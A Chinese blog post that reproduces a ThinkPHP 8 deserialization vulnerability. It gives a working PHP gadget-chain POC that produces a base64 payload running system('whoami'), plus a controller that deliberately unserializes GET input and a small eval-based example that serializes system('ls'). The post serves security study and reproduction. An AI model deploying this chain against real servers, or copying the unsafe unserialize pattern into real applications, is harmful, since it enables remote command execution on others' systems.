/1dreamGN/Blog

1dreamGN

ThinkPHP8反序列化漏洞复现

438
2024-07-01
ThinkPHP8反序列化漏洞复现

前言

偶然间,我阅读了《从xctf决赛 ezthink挖掘tp8的反序列化链 - 先知社区》这篇文章,对漏洞从反序列化到命令执行的全过程有了更深入的了解。由于我对这个框架较为熟悉,并且有过PHP开发的经验,还曾挖掘出过该框架的命令执行漏洞,因此决定尝试复现这一过程。

使用工具

一般来说是phpstorm+phpstudy+xdebug,我直接用命令行起一个服务,注意PHP版本必须为8及以上。

php think run -p 9669

安装

composer create-project topthink/think tp

漏洞复现

构造利用链

public function index()
    {
        $c = unserialize(base64_decode($_GET['whoami']));   // 参数可控的unserialize函数
        var_dump($c);
        return 'Welcome to ThinkPHP!';
    }

POC

<?php
namespace think\model\concern;

trait Attribute{
    private $data=['p2'=>['p2'=>'whoami']];
    private $withAttr=['p2'=>['p2'=>'system']];
    protected $json=["p2"];
    protected $jsonAssoc = true;
}


namespace think;

abstract class Model{
    use model\concern\Attribute;
    private $exists;
    private $force;
    private $lazySave;
    protected $suffix;


    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
        $this->jsonAssoc = true;
    }
}

namespace think\model;

use think\Model;
class Pivot extends Model{}

namespace think\route;

class Resource {
    public function __construct()
    {
        $this->rule = "1.1";
        $this->option = ["var" => ["1" => new \think\model\Pivot()]];
    }
}


class ResourceRegister
{
    protected $resource;
    public function __construct()
    {
        $this->resource = new Resource();
    }
    public function __destruct()
    {
        $this->register();
    }
    protected function register()
    {
        $this->resource->parseGroupRule($this->resource->getRule());
    }
}

$obj = new ResourceRegister();
echo base64_encode(serialize($obj));

运行生成base64的序列化payload,配合利用链代码传入。

然后的话,这里我们一般全局搜索去找魔术方法,根据那篇文章就找destruct魔术方法。

题外话,用反序列化举个例子:

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    class test{
        public $a = 'echo "this is test!!";';
        public function displayVar() {
            eval($this->a);
        }
    }

    $get = $_GET["benben"];
    $b = unserialize($get);
    $b->displayVar() ;

?>

//<?php
//    class test{
//        public $a = "system('ls');";
//    }
//    echo serialize(new test());
//?>
<!---->
<!--O:4:"test":1:{s:1:"a";s:13:"system('ls');";}-->
<!---->


<!--pop链构造常规思路:从链尾开始追,直到找到可以利用的入口点-->
<!--入口常用方法:__wakeup, __construct, __destruct, __toString-->
<!--链中常用方法:__toString, __get/set, __invoke, __call-->
<!--链尾方法:调用php敏感函数的方法,如file_get_contents, highlightfile, system, exec, eval, assert等-->

全局搜索destruct,找到ResourceRegister.php 中的destruct方法。

点击destruct方法中的register方法,进入此方法。

再点击进入parseGroupRule方法,继续往下走。

根据前文提到,首先通过rule中的.来分割成数组,然后把数组的最后一位弹出
$item[] = $val . '/<' . ($option['var'][$val] ?? $val . '_id') . '>';在这个语句 可以调用tostring魔术方法,看看传参 option是我们可以控制的,我们可以传$this->option= ["var" => ["1" => new 要调用的类()]];再配合传参$rule=1.1,将.后面的1弹出来,作为var的键,访问到这个类。接下来就步入进去。

步入到这里,就会引用tostring,点击步入。

让$hasVisible=false

步入getAttr方法。再继续。

最后走到这,关键点来了,为什么$closure等于system呢,因为$this->withAttr[$name]等于p2, $key => $closure 中等于p2 => system,正好与之前的POC中$withAttr=['p2'=>['p2'=>'system']];相对应。

getJsonValue(string $name, $value)中传入的$name为p2,$value为[p2 => whoami],与之前的POC中$data=['p2'=>['p2'=>'whoami']];相对应。

这段代码$value[$key] = $closure($value[$key], $value);则为$value[$key] = system('whoami', $value);,则执行命令。

以上是基于我对PHP较为了解的情况下进行复现,可能对PHP不熟悉的同学阅读起来较为不友好,可以详细看看上面的文章和ThinkPHP框架文档进行深入学习。